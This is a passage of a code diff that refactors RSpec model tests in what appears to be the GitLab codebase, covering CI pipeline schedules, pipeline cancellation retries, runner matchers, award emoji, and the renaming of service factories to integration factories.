+ described_class.upsert_from_build!(build)
+
+ expect(described_class.last.instance_runners_enabled).to be_falsey
+ end
+ end
+ end
+
+ context 'when ci_pending_builds_maintain_shared_runners_data is disabled' do
+ before do
+ stub_feature_flags(ci_pending_builds_maintain_shared_runners_data: false)
+ end
+
+ it 'sets instance_runners_enabled to false' do
+ described_class.upsert_from_build!(build)
+
+ expect(described_class.last.instance_runners_enabled).to be_falsey
+ end
+ end
+ end
end
end
diff --git a/spec/models/ci/pipeline_schedule_spec.rb b/spec/models/ci/pipeline_schedule_spec.rb
index cf73460bf1e..8de3ebb18b9 100644
--- a/spec/models/ci/pipeline_schedule_spec.rb
+++ b/spec/models/ci/pipeline_schedule_spec.rb
@@ -123,8 +123,15 @@ RSpec.describe Ci::PipelineSchedule do
'*/5 * * * *' | '0 * * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 0)
'*/5 * * * *' | '0 * * * *' | (1.day.in_minutes / 2.hours.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 11, 0) | Time.zone.local(2021, 5, 27, 12, 5)
'*/5 * * * *' | '0 1 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 1, 0) | Time.zone.local(2021, 5, 28, 1, 0)
- '*/5 * * * *' | '0 1 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 27, 1, 0) | Time.zone.local(2021, 5, 28, 1, 0)
+ '*/5 * * * *' | '0 1 * * *' | (1.day.in_minutes / 10).to_i | true | Time.zone.local(2021, 5, 27, 1, 0) | Time.zone.local(2021, 5, 28, 1, 0)
+ '*/5 * * * *' | '0 1 * * *' | (1.day.in_minutes / 8).to_i | true | Time.zone.local(2021, 5, 27, 1, 0) | Time.zone.local(2021, 5, 28, 1, 0)
'*/5 * * * *' | '0 1 1 * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 1, 1, 0) | Time.zone.local(2021, 6, 1, 1, 0)
+ '*/9 * * * *' | '0 1 1 * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 1, 1, 9) | Time.zone.local(2021, 6, 1, 1, 0)
+ '*/9 * * * *' | '0 1 1 * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | false | Time.zone.local(2021, 5, 1, 1, 9) | Time.zone.local(2021, 6, 1, 1, 9)
+ '*/5 * * * *' | '59 14 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | true | Time.zone.local(2021, 5, 1, 15, 0) | Time.zone.local(2021, 5, 2, 15, 0)
+ '*/5 * * * *' | '59 14 * * *' | (1.day.in_minutes / 1.hour.in_minutes).to_i | false | Time.zone.local(2021, 5, 1, 15, 0) | Time.zone.local(2021, 5, 2, 15, 0)
+ '*/5 * * * *' | '45 21 1 2 *' | (1.day.in_minutes / 5).to_i | true | Time.zone.local(2021, 2, 1, 21, 45) | Time.zone.local(2022, 2, 1, 21, 45)
+ '*/5 * * * *' | '45 21 1 2 *' | (1.day.in_minutes / 5).to_i | false | Time.zone.local(2021, 2, 1, 21, 45) | Time.zone.local(2022, 2, 1, 21, 50)
end
with_them do
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index 26fc4b140c1..74a476a6422 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -11,6 +11,10 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
let_it_be(:namespace) { create_default(:namespace).freeze }
let_it_be(:project) { create_default(:project, :repository).freeze }
+ it 'paginates 15 pipeleines per page' do
+ expect(described_class.default_per_page).to eq(15)
+ end
+
it_behaves_like 'having unique enum values'
it { is_expected.to belong_to(:project) }
@@ -2768,6 +2772,41 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
expect(control2.count).to eq(control1.count + extra_update_queries + extra_generic_commit_status_validation_queries)
end
end
+
+ context 'when the first try cannot get an exclusive lock' do
+ let(:retries) { 1 }
+
+ subject(:cancel_running) { pipeline.cancel_running(retries: retries) }
+
+ before do
+ build = create(:ci_build, :running, pipeline: pipeline)
+
+ allow(pipeline.cancelable_statuses).to receive(:find_in_batches).and_yield([build])
+
+ call_count = 0
+ allow(build).to receive(:cancel).and_wrap_original do |original, *args|
+ call_count >= retries ? raise(ActiveRecord::StaleObjectError) : original.call(*args)
+
+ call_count += 1
+ end
+ end
+
+ it 'retries again and cancels the build' do
+ cancel_running
+
+ expect(latest_status).to contain_exactly('canceled')
+ end
+
+ context 'when the retries parameter is 0' do
+ let(:retries) { 0 }
+
+ it 'raises error' do
+ expect do
+ cancel_running
+ end.to raise_error(ActiveRecord::StaleObjectError)
+ end
+ end
+ end
end
describe '#retry_failed' do
@@ -2854,7 +2893,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
it 'builds hook data once' do
- create(:pipelines_email_service)
+ create(:pipelines_email_integration)
expect(Gitlab::DataBuilder::Pipeline).to receive(:build).once.and_call_original
@@ -3772,16 +3811,6 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
it 'can generate a codequality report' do
expect(subject).to be_truthy
end
-
- context 'when feature is disabled' do
- before do
- stub_feature_flags(codequality_mr_diff: false)
- end
-
- it 'can not generate a codequality report' do
- expect(subject).to be_falsey
- end
- end
end
end
@@ -4355,16 +4384,14 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
- describe '#base_and_ancestors' do
- subject { pipeline.base_and_ancestors(same_project: same_project) }
+ describe '#self_and_upstreams' do
+ subject(:self_and_upstreams) { pipeline.self_and_upstreams }
let_it_be(:pipeline) { create(:ci_pipeline, :created) }
- let(:same_project) { false }
-
context 'when pipeline is not child nor parent' do
it 'returns just the pipeline itself' do
- expect(subject).to contain_exactly(pipeline)
+ expect(self_and_upstreams).to contain_exactly(pipeline)
end
end
@@ -4378,7 +4405,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
it 'returns parent and self' do
- expect(subject).to contain_exactly(parent, pipeline)
+ expect(self_and_upstreams).to contain_exactly(parent, pipeline)
end
end
@@ -4390,7 +4417,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
it 'returns self' do
- expect(subject).to contain_exactly(pipeline)
+ expect(self_and_upstreams).to contain_exactly(pipeline)
end
end
@@ -4406,11 +4433,11 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
it 'returns self, parent and ancestor' do
- expect(subject).to contain_exactly(ancestor, parent, pipeline)
+ expect(self_and_upstreams).to contain_exactly(ancestor, parent, pipeline)
end
end
- context 'when pipeline is a triggered pipeline' do
+ context 'when pipeline is a triggered pipeline from a different project' do
let_it_be(:pipeline) { create(:ci_pipeline, :created) }
let(:upstream) { create(:ci_pipeline, project: create(:project)) }
@@ -4419,18 +4446,41 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
create_source_pipeline(upstream, pipeline)
end
- context 'same_project: false' do
- it 'returns upstream and self' do
- expect(subject).to contain_exactly(pipeline, upstream)
- end
+ it 'returns upstream and self' do
+ expect(self_and_upstreams).to contain_exactly(pipeline, upstream)
end
+ end
+ end
- context 'same_project: true' do
- let(:same_project) { true }
+ describe '#self_and_ancestors' do
+ subject(:self_and_ancestors) { pipeline.self_and_ancestors }
- it 'returns self' do
- expect(subject).to contain_exactly(pipeline)
- end
+ context 'when pipeline is child' do
+ let(:pipeline) { create(:ci_pipeline, :created) }
+ let(:parent) { create(:ci_pipeline) }
+ let(:sibling) { create(:ci_pipeline) }
+
+ before do
+ create_source_pipeline(parent, pipeline)
+ create_source_pipeline(parent, sibling)
+ end
+
+ it 'returns parent and self' do
+ expect(self_and_ancestors).to contain_exactly(parent, pipeline)
+ end
+ end
+
+ context 'when pipeline is a triggered pipeline from a different project' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+
+ let(:upstream) { create(:ci_pipeline, project: create(:project)) }
+
+ before do
+ create_source_pipeline(upstream, pipeline)
+ end
+
+ it 'returns only self' do
+ expect(self_and_ancestors).to contain_exactly(pipeline)
end
end
end
@@ -4468,15 +4518,18 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when the parent pipeline has a dependent upstream pipeline' do
- let!(:upstream_bridge) do
- create_bridge(create(:ci_pipeline, project: create(:project)), parent_pipeline, true)
- end
+ let(:upstream_pipeline) { create(:ci_pipeline, project: create(:project)) }
+ let!(:upstream_bridge) { create_bridge(upstream_pipeline, parent_pipeline, true) }
+
+ let(:upstream_upstream_pipeline) { create(:ci_pipeline, project: create(:project)) }
+ let!(:upstream_upstream_bridge) { create_bridge(upstream_upstream_pipeline, upstream_pipeline, true) }
it 'marks all source bridges as pending' do
reset_bridge
expect(bridge.reload).to be_pending
expect(upstream_bridge.reload).to be_pending
+ expect(upstream_upstream_bridge.reload).to be_pending
end
end
end
diff --git a/spec/models/ci/runner_spec.rb b/spec/models/ci/runner_spec.rb
index 61f80bd43b1..ffc8ab4cf8b 100644
--- a/spec/models/ci/runner_spec.rb
+++ b/spec/models/ci/runner_spec.rb
@@ -1086,6 +1086,18 @@ RSpec.describe Ci::Runner do
expect(matchers.map(&:tag_list)).to match_array([%w[tag1 tag2], %w[tag3 tag4]])
end
end
+
+ context 'with runner_ids' do
+ before do
+ create_list(:ci_runner, 2)
+ end
+
+ it 'includes runner_ids' do
+ expect(matchers.size).to eq(1)
+
+ expect(matchers.first.runner_ids).to match_array(described_class.all.pluck(:id))
+ end
+ end
end
describe '#runner_matcher' do
@@ -1095,6 +1107,8 @@ RSpec.describe Ci::Runner do
subject(:matcher) { runner.runner_matcher }
+ it { expect(matcher.runner_ids).to eq([runner.id]) }
+
it { expect(matcher.runner_type).to eq(runner.runner_type) }
it { expect(matcher.public_projects_minutes_cost_factor).to eq(runner.public_projects_minutes_cost_factor) }
diff --git a/spec/models/ci/running_build_spec.rb b/spec/models/ci/running_build_spec.rb
index 589e5a86f4d..629861e35b8 100644
--- a/spec/models/ci/running_build_spec.rb
+++ b/spec/models/ci/running_build_spec.rb
@@ -21,10 +21,7 @@ RSpec.describe Ci::RunningBuild do
context 'when another queuing entry exists for given build' do
before do
- described_class.create!(build: build,
- project: project,
- runner: runner,
- runner_type: runner.runner_type)
+ create(:ci_running_build, build: build, project: project, runner: runner)
end
it 'returns a build id as a result' do
diff --git a/spec/models/clusters/integrations/prometheus_spec.rb b/spec/models/clusters/integrations/prometheus_spec.rb
index 680786189ad..e529c751889 100644
--- a/spec/models/clusters/integrations/prometheus_spec.rb
+++ b/spec/models/clusters/integrations/prometheus_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Clusters::Integrations::Prometheus do
let(:cluster) { create(:cluster, :with_installed_helm) }
- it 'deactivates prometheus_service' do
+ it 'deactivates prometheus_integration' do
expect(Clusters::Applications::DeactivateServiceWorker)
.to receive(:perform_async).with(cluster.id, 'prometheus')
@@ -35,7 +35,7 @@ RSpec.describe Clusters::Integrations::Prometheus do
let(:enabled) { true }
context 'when no change to enabled status' do
- it 'does not touch project services' do
+ it 'does not touch project integrations' do
integration # ensure integration exists before we set the expectations
expect(Clusters::Applications::DeactivateServiceWorker)
@@ -51,7 +51,7 @@ RSpec.describe Clusters::Integrations::Prometheus do
context 'when enabling' do
let(:enabled) { false }
- it 'deactivates prometheus_service' do
+ it 'deactivates prometheus_integration' do
expect(Clusters::Applications::ActivateServiceWorker)
.to receive(:perform_async).with(cluster.id, 'prometheus')
@@ -62,7 +62,7 @@ RSpec.describe Clusters::Integrations::Prometheus do
context 'when disabling' do
let(:enabled) { true }
- it 'activates prometheus_service' do
+ it 'activates prometheus_integration' do
expect(Clusters::Applications::DeactivateServiceWorker)
.to receive(:perform_async).with(cluster.id, 'prometheus')
diff --git a/spec/models/clusters/kubernetes_namespace_spec.rb b/spec/models/clusters/kubernetes_namespace_spec.rb
index 3b903fe34f9..e70cd15baca 100644
--- a/spec/models/clusters/kubernetes_namespace_spec.rb
+++ b/spec/models/clusters/kubernetes_namespace_spec.rb
@@ -62,6 +62,7 @@ RSpec.describe Clusters::KubernetesNamespace, type: :model do
describe 'namespace uniqueness validation' do
let_it_be(:cluster) { create(:cluster, :project, :provided_by_gcp) }
+
let(:kubernetes_namespace) { build(:cluster_kubernetes_namespace, cluster: cluster, namespace: 'my-namespace') }
subject { kubernetes_namespace }
diff --git a/spec/models/commit_spec.rb b/spec/models/commit_spec.rb
index 8ffc198fc4d..63fe6923630 100644
--- a/spec/models/commit_spec.rb
+++ b/spec/models/commit_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Commit do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:personal_snippet) { create(:personal_snippet, :repository) }
let_it_be(:project_snippet) { create(:project_snippet, :repository) }
+
let(:commit) { project.commit }
describe 'modules' do
diff --git a/spec/models/compare_spec.rb b/spec/models/compare_spec.rb
index d395aa359e5..86bab569ab0 100644
--- a/spec/models/compare_spec.rb
+++ b/spec/models/compare_spec.rb
@@ -13,7 +13,15 @@ RSpec.describe Compare do
let(:raw_compare) { Gitlab::Git::Compare.new(project.repository.raw_repository, start_commit.id, head_commit.id) }
- subject { described_class.new(raw_compare, project) }
+ subject(:compare) { described_class.new(raw_compare, project) }
+
+ describe '#cache_key' do
+ subject { compare.cache_key }
+
+ it { is_expected.to include(project) }
+ it { is_expected.to include(:compare) }
+ it { is_expected.to include(compare.diff_refs.hash) }
+ end
describe '#start_commit' do
it 'returns raw compare base commit' do
diff --git a/spec/models/concerns/approvable_base_spec.rb b/spec/models/concerns/approvable_base_spec.rb
index a9e944cf220..c7ea2631a24 100644
--- a/spec/models/concerns/approvable_base_spec.rb
+++ b/spec/models/concerns/approvable_base_spec.rb
@@ -59,4 +59,25 @@ RSpec.describe ApprovableBase do
end
end
end
+
+ describe '.not_approved_by_users_with_usernames' do
+ subject { MergeRequest.not_approved_by_users_with_usernames([user.username, user2.username]) }
+
+ let!(:merge_request2) { create(:merge_request) }
+ let!(:merge_request3) { create(:merge_request) }
+ let!(:merge_request4) { create(:merge_request) }
+ let(:user2) { create(:user) }
+ let(:user3) { create(:user) }
+
+ before do
+ create(:approval, merge_request: merge_request, user: user)
+ create(:approval, merge_request: merge_request2, user: user2)
+ create(:approval, merge_request: merge_request2, user: user3)
+ create(:approval, merge_request: merge_request4, user: user3)
+ end
+
+ it 'has the merge request that is not approved at all and not approved by either user' do
+ expect(subject).to contain_exactly(merge_request3, merge_request4)
+ end
+ end
end
diff --git a/spec/models/concerns/atomic_internal_id_spec.rb b/spec/models/concerns/atomic_internal_id_spec.rb
index 35b0f107676..b803e699b25 100644
--- a/spec/models/concerns/atomic_internal_id_spec.rb
+++ b/spec/models/concerns/atomic_internal_id_spec.rb
@@ -240,18 +240,12 @@ RSpec.describe AtomicInternalId do
end
describe '.with_project_iid_supply' do
- let(:iid) { 100 }
-
- it 'wraps generate and track_greatest in a concurrency-safe lock' do
- expect_next_instance_of(InternalId::InternalIdGenerator) do |g|
- expect(g).to receive(:with_lock).and_call_original
- expect(g.record).to receive(:last_value).and_return(iid)
- expect(g).to receive(:track_greatest).with(iid + 4)
- end
-
- ::Milestone.with_project_iid_supply(milestone.project) do |supply|
- 4.times { supply.next_value }
- end
+ it 'supplies a stream of iid values' do
+ expect do
+ ::Milestone.with_project_iid_supply(milestone.project) do |supply|
+ 4.times { supply.next_value }
+ end
+ end.to change { InternalId.find_by(project: milestone.project, usage: :milestones)&.last_value.to_i }.by(4)
end
end
end
diff --git a/spec/models/concerns/awardable_spec.rb b/spec/models/concerns/awardable_spec.rb
index b80b6ec95e2..fcd0d0c05f4 100644
--- a/spec/models/concerns/awardable_spec.rb
+++ b/spec/models/concerns/awardable_spec.rb
@@ -3,64 +3,64 @@
require 'spec_helper'
RSpec.describe Awardable do
- let!(:issue) { create(:issue) }
- let!(:award_emoji) { create(:award_emoji, :downvote, awardable: issue) }
+ let!(:note) { create(:note) }
+ let!(:award_emoji) { create(:award_emoji, :downvote, awardable: note) }
describe "Associations" do
- subject { build(:issue) }
+ subject { build(:note) }
it { is_expected.to have_many(:award_emoji).dependent(:destroy) }
end
describe "ClassMethods" do
- let!(:issue2) { create(:issue) }
- let!(:award_emoji2) { create(:award_emoji, awardable: issue2) }
+ let!(:note2) { create(:note) }
+ let!(:award_emoji2) { create(:award_emoji, awardable: note2) }
describe "orders" do
it "orders on upvotes" do
- expect(Issue.order_upvotes_desc.to_a).to eq [issue2, issue]
+ expect(Note.order_upvotes_desc.to_a).to eq [note2, note]
end
it "orders on downvotes" do
- expect(Issue.order_downvotes_desc.to_a).to eq [issue, issue2]
+ expect(Note.order_downvotes_desc.to_a).to eq [note, note2]
end
end
describe "#awarded" do
it "filters by user and emoji name" do
- expect(Issue.awarded(award_emoji.user, "thumbsup")).to be_empty
- expect(Issue.awarded(award_emoji.user, "thumbsdown")).to eq [issue]
- expect(Issue.awarded(award_emoji2.user, "thumbsup")).to eq [issue2]
- expect(Issue.awarded(award_emoji2.user, "thumbsdown")).to be_empty
+ expect(Note.awarded(award_emoji.user, "thumbsup")).to be_empty
+ expect(Note.awarded(award_emoji.user, "thumbsdown")).to eq [note]
+ expect(Note.awarded(award_emoji2.user, "thumbsup")).to eq [note2]
+ expect(Note.awarded(award_emoji2.user, "thumbsdown")).to be_empty
end
it "filters by user and any emoji" do
- issue3 = create(:issue)
- create(:award_emoji, awardable: issue3, name: "star", user: award_emoji.user)
- create(:award_emoji, awardable: issue3, name: "star", user: award_emoji2.user)
+ note3 = create(:note)
+ create(:award_emoji, awardable: note3, name: "star", user: award_emoji.user)
+ create(:award_emoji, awardable: note3, name: "star", user: award_emoji2.user)
- expect(Issue.awarded(award_emoji.user)).to contain_exactly(issue, issue3)
- expect(Issue.awarded(award_emoji2.user)).to contain_exactly(issue2, issue3)
+ expect(Note.awarded(award_emoji.user)).to contain_exactly(note, note3)
+ expect(Note.awarded(award_emoji2.user)).to contain_exactly(note2, note3)
end
end
describe "#not_awarded" do
- it "returns issues not awarded by user" do
- expect(Issue.not_awarded(award_emoji.user)).to eq [issue2]
- expect(Issue.not_awarded(award_emoji2.user)).to eq [issue]
+ it "returns notes not awarded by user" do
+ expect(Note.not_awarded(award_emoji.user)).to eq [note2]
+ expect(Note.not_awarded(award_emoji2.user)).to eq [note]
end
end
end
describe "#upvotes" do
it "counts the number of upvotes" do
- expect(issue.upvotes).to be 0
+ expect(note.upvotes).to be 0
end
end
describe "#downvotes" do
it "counts the number of downvotes" do
- expect(issue.downvotes).to be 1
+ expect(note.downvotes).to be 1
end
end
@@ -68,67 +68,67 @@ RSpec.describe Awardable do
let(:user) { create(:user) }
before do
- issue.project.add_guest(user)
+ note.project.add_guest(user)
end
it 'is truthy when the user is allowed to award emoji' do
- expect(issue.user_can_award?(user)).to be_truthy
+ expect(note.user_can_award?(user)).to be_truthy
end
it 'is falsy when the project is archived' do
- issue.project.update!(archived: true)
+ note.project.update!(archived: true)
- expect(issue.user_can_award?(user)).to be_falsy
+ expect(note.user_can_award?(user)).to be_falsy
end
end
describe 'querying award_emoji on an Awardable' do
- let(:issue) { create(:issue) }
+ let(:note) { create(:note) }
it 'sorts in ascending fashion' do
- create_list(:award_emoji, 3, awardable: issue)
+ create_list(:award_emoji, 3, awardable: note)
- expect(issue.award_emoji).to eq issue.award_emoji.sort_by(&:id)
+ expect(note.award_emoji).to eq note.award_emoji.sort_by(&:id)
end
end
describe "#grouped_awards" do
context 'default award emojis' do
- let(:issue_without_downvote) { create(:issue) }
- let(:issue_with_downvote) do
- issue_with_downvote = create(:issue)
- create(:award_emoji, :downvote, awardable: issue_with_downvote)
- issue_with_downvote
+ let(:note_without_downvote) { create(:note) }
+ let(:note_with_downvote) do
+ note_with_downvote = create(:note)
+ create(:award_emoji, :downvote, awardable: note_with_downvote)
+ note_with_downvote
end
it "includes unused thumbs buttons by default" do
- expect(issue_without_downvote.grouped_awards.keys.sort).to eq %w(thumbsdown thumbsup)
+ expect(note_without_downvote.grouped_awards.keys.sort).to eq %w(thumbsdown thumbsup)
end
it "doesn't include unused thumbs buttons when disabled in project" do
- issue_without_downvote.project.show_default_award_emojis = false
+ note_without_downvote.project.show_default_award_emojis = false
- expect(issue_without_downvote.grouped_awards.keys.sort).to be_empty
+ expect(note_without_downvote.grouped_awards.keys.sort).to be_empty
end
it "includes unused thumbs buttons when enabled in project" do
- issue_without_downvote.project.show_default_award_emojis = true
+ note_without_downvote.project.show_default_award_emojis = true
- expect(issue_without_downvote.grouped_awards.keys.sort).to eq %w(thumbsdown thumbsup)
+ expect(note_without_downvote.grouped_awards.keys.sort).to eq %w(thumbsdown thumbsup)
end
it "doesn't include unused thumbs buttons in summary" do
- expect(issue_without_downvote.grouped_awards(with_thumbs: false).keys).to be_empty
+ expect(note_without_downvote.grouped_awards(with_thumbs: false).keys).to be_empty
end
it "includes used thumbs buttons when disabled in project" do
- issue_with_downvote.project.show_default_award_emojis = false
+ note_with_downvote.project.show_default_award_emojis = false
- expect(issue_with_downvote.grouped_awards.keys).to eq %w(thumbsdown)
+ expect(note_with_downvote.grouped_awards.keys).to eq %w(thumbsdown)
end
it "includes used thumbs buttons in summary" do
- expect(issue_with_downvote.grouped_awards(with_thumbs: false).keys).to eq %w(thumbsdown)
+ expect(note_with_downvote.grouped_awards(with_thumbs: false).keys).to eq %w(thumbsdown)
end
end
end
diff --git a/spec/models/concerns/cache_markdown_field_spec.rb b/spec/models/concerns/cache_markdown_field_spec.rb
index 33a4c8eac41..1c1efab2889 100644
--- a/spec/models/concerns/cache_markdown_field_spec.rb
+++ b/spec/models/concerns/cache_markdown_field_spec.rb
@@ -75,7 +75,7 @@ RSpec.describe CacheMarkdownField, :clean_gitlab_redis_cache do
end
it 'returns false when the local version was bumped' do
- allow(Gitlab::CurrentSettings.current_application_settings).to receive(:local_markdown_version).and_return(2)
+ stub_application_setting(local_markdown_version: 2)
thing.cached_markdown_version = cache_version
is_expected.to be_falsy
@@ -88,7 +88,7 @@ RSpec.describe CacheMarkdownField, :clean_gitlab_redis_cache do
end
it 'returns true when the cached version is just right' do
- allow(Gitlab::CurrentSettings.current_application_settings).to receive(:local_markdown_version).and_return(2)
+ stub_application_setting(local_markdown_version: 2)
thing.cached_markdown_version = cache_version + 2
is_expected.to be_truthy
diff --git a/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb b/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb
index 02cd8557231..e8f2b18e662 100644
--- a/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb
+++ b/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb
@@ -17,18 +17,6 @@ RSpec.describe NamespaceSetting, 'CascadingNamespaceSettingAttribute' do
describe '#delayed_project_removal' do
subject(:delayed_project_removal) { subgroup_settings.delayed_project_removal }
- context 'when the feature is disabled' do
- before do
- stub_feature_flags(cascading_namespace_settings: false)
-
- group_settings.update!(delayed_project_removal: true)
- end
-
- it 'does not cascade' do
- expect(delayed_project_removal).to eq(nil)
- end
- end
-
context 'when there is no parent' do
context 'and the value is not nil' do
before do
@@ -192,16 +180,6 @@ RSpec.describe NamespaceSetting, 'CascadingNamespaceSettingAttribute' do
end
end
- context 'when the feature is disabled' do
- before do
- stub_feature_flags(cascading_namespace_settings: false)
-
- group_settings.update!(delayed_project_removal: true)
- end
-
- it_behaves_like 'not locked'
- end
-
context 'when attribute is locked by self' do
before do
subgroup_settings.update!(lock_delayed_project_removal: true)
diff --git a/spec/models/concerns/has_integrations_spec.rb b/spec/models/concerns/has_integrations_spec.rb
index 6e55a1c8b01..6b3f75bfcfd 100644
--- a/spec/models/concerns/has_integrations_spec.rb
+++ b/spec/models/concerns/has_integrations_spec.rb
@@ -7,14 +7,14 @@ RSpec.describe HasIntegrations do
let_it_be(:project_2) { create(:project) }
let_it_be(:project_3) { create(:project) }
let_it_be(:project_4) { create(:project) }
- let_it_be(:instance_integration) { create(:jira_service, :instance) }
+ let_it_be(:instance_integration) { create(:jira_integration, :instance) }
before do
- create(:jira_service, project: project_1, inherit_from_id: instance_integration.id)
- create(:jira_service, project: project_2, inherit_from_id: nil)
- create(:jira_service, group: create(:group), project: nil, inherit_from_id: nil)
- create(:jira_service, project: project_3, inherit_from_id: nil)
- create(:slack_service, project: project_4, inherit_from_id: nil)
+ create(:jira_integration, project: project_1, inherit_from_id: instance_integration.id)
+ create(:jira_integration, project: project_2, inherit_from_id: nil)
+ create(:jira_integration, group: create(:group), project: nil, inherit_from_id: nil)
+ create(:jira_integration, project: project_3, inherit_from_id: nil)
+ create(:integrations_slack, project: project_4, inherit_from_id: nil)
end
describe '.with_custom_integration_for' do
diff --git a/spec/models/concerns/integrations/has_data_fields_spec.rb b/spec/models/concerns/integrations/has_data_fields_spec.rb
index 54e0ac9c5a5..b28fef571c6 100644
--- a/spec/models/concerns/integrations/has_data_fields_spec.rb
+++ b/spec/models/concerns/integrations/has_data_fields_spec.rb
@@ -84,7 +84,7 @@ RSpec.describe Integrations::HasDataFields do
context 'when data are stored in data_fields' do
let(:service) do
- create(:jira_service, url: url, username: username)
+ create(:jira_integration, url: url, username: username)
end
it_behaves_like 'data fields'
@@ -111,45 +111,52 @@ RSpec.describe Integrations::HasDataFields do
end
context 'when data are stored in properties' do
- let(:service) { create(:jira_service, :without_properties_callback, properties: properties) }
+ let(:integration) { create(:jira_integration, :without_properties_callback, properties: properties) }
- it_behaves_like 'data fields'
+ it_behaves_like 'data fields' do
+ let(:service) { integration }
+ end
describe '{arg}_was?' do
it 'returns nil when the property has not been assigned a new value' do
- service.username = 'new_username'
- service.validate
- expect(service.url_was).to be_nil
+ integration.username = 'new_username'
+ integration.validate
+
+ expect(integration.url_was).to be_nil
end
it 'returns initial value when the property has been assigned a different value' do
- service.url = 'http://example.com'
- service.validate
- expect(service.url_was).to eq('http://url.com')
+ integration.url = 'http://example.com'
+ integration.validate
+
+ expect(integration.url_was).to eq('http://url.com')
end
it 'returns initial value when the property has been re-assigned the same value' do
- service.url = 'http://url.com'
- service.validate
- expect(service.url_was).to eq('http://url.com')
+ integration.url = 'http://url.com'
+ integration.validate
+
+ expect(integration.url_was).to eq('http://url.com')
end
end
end
context 'when data are stored in both properties and data_fields' do
- let(:service) do
- create(:jira_service, :without_properties_callback, active: false, properties: properties).tap do |integration|
+ let(:integration) do
+ create(:jira_integration, :without_properties_callback, active: false, properties: properties).tap do |integration|
create(:jira_tracker_data, properties.merge(integration: integration))
end
end
- it_behaves_like 'data fields'
+ it_behaves_like 'data fields' do
+ let(:service) { integration }
+ end
describe '{arg}_was?' do
it 'returns nil' do
- service.url = 'http://example.com'
- service.validate
- expect(service.url_was).to be_nil
+ integration.url = 'http://example.com'
+ integration.validate
+ expect(integration.url_was).to be_nil
end
end
end
diff --git a/spec/models/concerns/issuable_spec.rb b/spec/models/concerns/issuable_spec.rb
index 7b100b7a6f3..071e0dcba44 100644
--- a/spec/models/concerns/issuable_spec.rb
+++ b/spec/models/concerns/issuable_spec.rb
@@ -535,6 +535,26 @@ RSpec.describe Issuable do
merge_request.to_hook_data(user, old_associations: { assignees: [user] })
end
end
+
+ context 'incident severity is updated' do
+ let(:issue) { create(:incident) }
+
+ before do
+ issue.update!(issuable_severity_attributes: { severity: 'low' })
+ expect(Gitlab::HookData::IssuableBuilder)
+ .to receive(:new).with(issue).and_return(builder)
+ end
+
+ it 'delegates to Gitlab::HookData::IssuableBuilder#build' do
+ expect(builder).to receive(:build).with(
+ user: user,
+ changes: hash_including(
+ 'severity' => %w(unknown low)
+ ))
+
+ issue.to_hook_data(user, old_associations: { severity: 'unknown' })
+ end
+ end
end
describe '#labels_array' do
diff --git a/spec/models/concerns/partitioned_table_spec.rb b/spec/models/concerns/partitioned_table_spec.rb
index 3343b273ba2..c37fb81a1cf 100644
--- a/spec/models/concerns/partitioned_table_spec.rb
+++ b/spec/models/concerns/partitioned_table_spec.rb
@@ -14,6 +14,16 @@ RSpec.describe PartitionedTable do
end
end
+ context 'with keyword arguments passed to the strategy' do
+ subject { my_class.partitioned_by(key, strategy: :monthly, retain_for: 3.months) }
+
+ it 'passes the keyword arguments to the strategy' do
+ expect(Gitlab::Database::Partitioning::MonthlyStrategy).to receive(:new).with(my_class, key, retain_for: 3.months).and_call_original
+
+ subject
+ end
+ end
+
it 'assigns the MonthlyStrategy as the partitioning strategy' do
subject
@@ -27,7 +37,7 @@ RSpec.describe PartitionedTable do
end
it 'registers itself with the PartitionCreator' do
- expect(Gitlab::Database::Partitioning::PartitionCreator).to receive(:register).with(my_class)
+ expect(Gitlab::Database::Partitioning::PartitionManager).to receive(:register).with(my_class)
subject
end
diff --git a/spec/models/concerns/prometheus_adapter_spec.rb b/spec/models/concerns/prometheus_adapter_spec.rb
index 235e505c6e9..01c987a1d92 100644
--- a/spec/models/concerns/prometheus_adapter_spec.rb
+++ b/spec/models/concerns/prometheus_adapter_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
include ReactiveCachingHelpers
let(:project) { create(:prometheus_project) }
- let(:service) { project.prometheus_service }
+ let(:integration) { project.prometheus_integration }
let(:described_class) do
Class.new do
@@ -29,10 +29,10 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
end
context 'with valid data' do
- subject { service.query(:validate, query) }
+ subject { integration.query(:validate, query) }
before do
- stub_reactive_cache(service, validation_respone, validation_query, query)
+ stub_reactive_cache(integration, validation_respone, validation_query, query)
end
it 'returns query data' do
